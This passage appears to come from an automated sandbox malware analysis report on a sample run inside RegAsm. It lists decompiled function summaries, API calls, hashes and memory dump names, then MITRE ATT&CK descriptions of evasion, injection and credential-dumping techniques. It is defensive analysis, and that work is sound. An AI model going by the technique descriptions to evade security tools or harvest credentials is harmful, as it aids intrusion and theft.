Part of subcall function 0042EC45: __CxxThrowException@8.LIBCMT ref: 0042EC6F
Part of subcall function 0042EC45: std::exception::exception.LIBCMT ref: 0042EC80

memmove.MSVCRT(0040EEBE,0040EEBE,C6C68B00,0040EEBE,0040EEBE,0040F15F,?,?,?,0040F1DF,?,?,?,74DF0440,?,-00000001), ref: 0040F392

Strings

invalid string position, xrefs: 0040F357

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argumentmemmovestd::_
String ID: invalid string position
API String ID: 1659287814-1799206989
Opcode ID: 348d0c2b69c2b191df159d42681712194dc71b74dbe289b0b6df523c31963809
Instruction ID: a91313bf5449129972d3e0b6c61bf396901b99abf7d864de5386db584678c47f
Opcode Fuzzy Hash: 348d0c2b69c2b191df159d42681712194dc71b74dbe289b0b6df523c31963809
Instruction Fuzzy Hash: 6F01AD713007018BD7348E7989C491FB2E2EB85B21734493ED882D7B85DB7CE84E8398

Function 004281C9 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45stringCOMMON

Download Yara Rule

APIs

strcpy_s.MSVCRT ref: 004281DE
__invoke_watson.LIBCMT ref: 00428232

Part of subcall function 0042806D: _strcat_s.LIBCMT ref: 0042808C

Strings

,NC, xrefs: 0042821D

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: __invoke_watson_strcat_sstrcpy_s
String ID: ,NC
API String ID: 1132195725-1329140791
Opcode ID: 53b9d3399cf01edd424f01e545b4bf6b1a8555bf483cd13445593f0413521323
Instruction ID: d9baa1639a8d6cddfa45c7016c3352d2dd6dfe7468836747954bbe6ada87296f
Opcode Fuzzy Hash: 53b9d3399cf01edd424f01e545b4bf6b1a8555bf483cd13445593f0413521323
Instruction Fuzzy Hash: 96F02872641228BFCF116FA0EC42EEF3F59AF00350F44806AF91955151DB369D54C764

Function 6C294CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3('8)l,00000000,00000000,?,?,6C293827,?,00000000), ref: 6C294D0A

Part of subcall function 6C280840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C2808B4

SECITEM_ItemsAreEqual_Util.NSS3(00000000,00000000,00000000), ref: 6C294D22

Part of subcall function 6C27FD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6C221A3E,00000048,00000054), ref: 6C27FD56

Strings

'8)l, xrefs: 6C294D07

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: Util$Equal_ErrorFindItemsTag_memcmp
String ID: '8)l
API String ID: 1521942269-916147755
Opcode ID: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction ID: 190ee8973b24c6baebedfe55e31d573463f380c8aeeee7d60347d2d019c2fda0
Opcode Fuzzy Hash: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction Fuzzy Hash: 46F0493E60122AA7EB204D6BAC80A43369C9B416BEF540371ED3CCB7E1E621C80486F1

Function 6C2BAF70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

PR_GetUniqueIdentity.NSS3(SSL), ref: 6C2BAF78

Part of subcall function 6C21ACC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C21ACE2
Part of subcall function 6C21ACC0: malloc.MOZGLUE(00000001), ref: 6C21ACEC
Part of subcall function 6C21ACC0: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C21AD02
Part of subcall function 6C21ACC0: TlsGetValue.KERNEL32 ref: 6C21AD3C
Part of subcall function 6C21ACC0: calloc.MOZGLUE(00000001,?), ref: 6C21AD8C
Part of subcall function 6C21ACC0: PR_Unlock.NSS3 ref: 6C21ADC0
Part of subcall function 6C21ACC0: PR_Unlock.NSS3 ref: 6C21AE8C
Part of subcall function 6C21ACC0: free.MOZGLUE(?), ref: 6C21AEAB

memcpy.VCRUNTIME140(6C383084,6C3802AC,00000090), ref: 6C2BAF94

Strings

SSL, xrefs: 6C2BAF73

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: Unlock$IdentityUniqueValuecallocfreemallocmemcpystrcpystrlen
String ID: SSL
API String ID: 2424436289-2135378647
Opcode ID: e7d3eeb267b23330d051adc368c15c2644d8e983eae6f609a15664f930e92b3b
Instruction ID: f977f6669f809e85c230ac5651564f16a7a3e89c4d9aee801ea58884ed9f71e7
Opcode Fuzzy Hash: e7d3eeb267b23330d051adc368c15c2644d8e983eae6f609a15664f930e92b3b
Instruction Fuzzy Hash: 582140F2617A4C9EDA80DF51D893392FA78F30368CB205118CA4A2BB24D7714008AFD6

Function 0042806D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

_strcat_s.LIBCMT ref: 0042808C
__invoke_watson.LIBCMT ref: 004280A8

Strings

`8C, xrefs: 0042807E, 00428084

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: __invoke_watson_strcat_s
String ID: `8C
API String ID: 228796091-1339866851
Opcode ID: d2307989adf0da250e0c2039779c175f09f7b7af11d147463b8ee5fd369ca3e3
Instruction ID: b7dcb7c8242e45e9edc672ca800bd55fb05ba849de6ed2c4d9e7ea01795509d3
Opcode Fuzzy Hash: d2307989adf0da250e0c2039779c175f09f7b7af11d147463b8ee5fd369ca3e3
Instruction Fuzzy Hash: 42E09273600219ABDF101E66EC4189F771AFF80368B46043AFE1852102D63599A69698

Function 0041F3BB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

DName::DName.LIBCMT ref: 0041F3F0
DName::DName.LIBCMT ref: 0041F3FC

Strings

{flat}, xrefs: 0041F3EB

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: NameName::
String ID: {flat}
API String ID: 1333004437-2606204563
Opcode ID: c0aecf38d8767bf2edb4203e1a237864f4bfc1262168b0dc7fac00c370597be1
Instruction ID: da75913b68d6d07b0bcc9ceeb751d75e82138ebb165cf24839429cfec7228cb0
Opcode Fuzzy Hash: c0aecf38d8767bf2edb4203e1a237864f4bfc1262168b0dc7fac00c370597be1
Instruction Fuzzy Hash: 75F08535244208AFCB11EF59D445AE43BA0AF8575AF08808AF9484F293C774E882CB99

Function 0040141E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00401436
GlobalMemoryStatusEx.KERNEL32(?), ref: 00401449

Strings

@, xrefs: 00401442

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: GlobalMemoryStatus_memset
String ID: @
API String ID: 587104284-2766056989
Opcode ID: ea78773fa3532b546fc2bed9ec4844f5fa5bd431fc3f66efb89effc32c35708b
Instruction ID: 109ca1747397a3c99a2e715ad0f668a42f12933073e5ea0efda9a81ab0e3fd91
Opcode Fuzzy Hash: ea78773fa3532b546fc2bed9ec4844f5fa5bd431fc3f66efb89effc32c35708b
Instruction Fuzzy Hash: 7BE0B8F1D002089BDB54DFA5ED46B5D77F89B08708F5000299A05F7181D674AA099659

Function 00410F17 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 20COMMON

Download Yara Rule

APIs

GetSystemPowerStatus.KERNEL32(?), ref: 00410F2B

Strings

8, xrefs: 00410F40
X, xrefs: 00410F39

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: PowerStatusSystem
String ID: 8$X
API String ID: 2881466098-866513493
Opcode ID: 612062a5f328f4f81838ef431c6200ee6ff48e8aa4a0b7be67f3c86fab849bed
Instruction ID: 37187983a9a609e0d464ab8e093508fa864854f5ff64a4e8160efa39df50f820
Opcode Fuzzy Hash: 612062a5f328f4f81838ef431c6200ee6ff48e8aa4a0b7be67f3c86fab849bed
Instruction Fuzzy Hash: 45E08670A00309DB8F14EFB9DD468AE77F9BB09604F80059AE412D7291DA74EA45DB88

Function 6C210F00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

PR_GetPageSize.NSS3(6C210936,FFFFE8AE,?,6C1A16B7,00000000,?,6C210936,00000000,?,6C1A204A), ref: 6C210F1B

Part of subcall function 6C211370: GetSystemInfo.KERNEL32(?,?,?,?,6C210936,?,6C210F20,6C210936,FFFFE8AE,?,6C1A16B7,00000000,?,6C210936,00000000), ref: 6C21138F

PR_NewLogModule.NSS3(clock,6C210936,FFFFE8AE,?,6C1A16B7,00000000,?,6C210936,00000000,?,6C1A204A), ref: 6C210F25

Part of subcall function 6C211110: calloc.MOZGLUE(00000001,0000000C,?,?,?,?,?,?,?,?,?,?,6C210936,00000001,00000040), ref: 6C211130
Part of subcall function 6C211110: strdup.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,6C210936,00000001,00000040), ref: 6C211142
Part of subcall function 6C211110: PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES,?,?,?,?,?,?,?,?,?,?,?,?,?,6C210936,00000001), ref: 6C211167

Strings

clock, xrefs: 6C210F20

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: InfoModulePageSecureSizeSystemcallocstrdup
String ID: clock
API String ID: 536403800-3195780754
Opcode ID: d261a55da9b7cda7d1c250266f664b2d48000b24d3bedbd9f99c951abda72fb6
Instruction ID: 18b9dd89cff7ff9408e8bf37b239cc8940a98b964419a304b88547de1b751a3b
Opcode Fuzzy Hash: d261a55da9b7cda7d1c250266f664b2d48000b24d3bedbd9f99c951abda72fb6
Instruction Fuzzy Hash: BFD0127160918C55C611666BAC45FDAF6ECCBD327EF104826EA0841D104A7A50EAE665

Function 6C280DB0 Relevance: 5.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

calloc.MOZGLUE ref: 6C280DF5
TlsGetValue.KERNEL32 ref: 6C280E2D
TlsGetValue.KERNEL32 ref: 6C280E58
TlsGetValue.KERNEL32 ref: 6C280E84

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: Value$calloc
String ID:
API String ID: 3339632435-0
Opcode ID: e744dd5ab2aabc923e0b9f4ffef7a9f905c66e4f224473904860f2b08b31fd38
Instruction ID: cb4fbf9b7d80c2296edbdfe4e55eb3989a00c42686b65d8c76dde50f1c0fb0b8
Opcode Fuzzy Hash: e744dd5ab2aabc923e0b9f4ffef7a9f905c66e4f224473904860f2b08b31fd38
Instruction Fuzzy Hash: F831E870A57789CFDB106F3DC54465A77F8BF0A309F014669EC98C7A91DB308099CBA1

Function 6C280F10 Relevance: 5.1, APIs: 4, Instructions: 52stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C222AF5,?,?,?,?,?,6C220A1B,00000000), ref: 6C280F1A
malloc.MOZGLUE(00000001), ref: 6C280F30
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C280F42
TlsGetValue.KERNEL32 ref: 6C280F5B

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: Valuemallocmemcpystrlen
String ID:
API String ID: 2332725481-0
Opcode ID: abff03a6294d9a447681e9728fea911d49a94318facb67d9a8e8c65d434cc1da
Instruction ID: 36a47f15bf7d44003de6dc70519ea7ce5c6ca8a15aea28c5ea77ccb078bcaaa3
Opcode Fuzzy Hash: abff03a6294d9a447681e9728fea911d49a94318facb67d9a8e8c65d434cc1da
Instruction Fuzzy Hash: 7D0128B1E032985BE710273A9D049667AACEF62259F008131EC1CC2A61EF31C81986E2

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
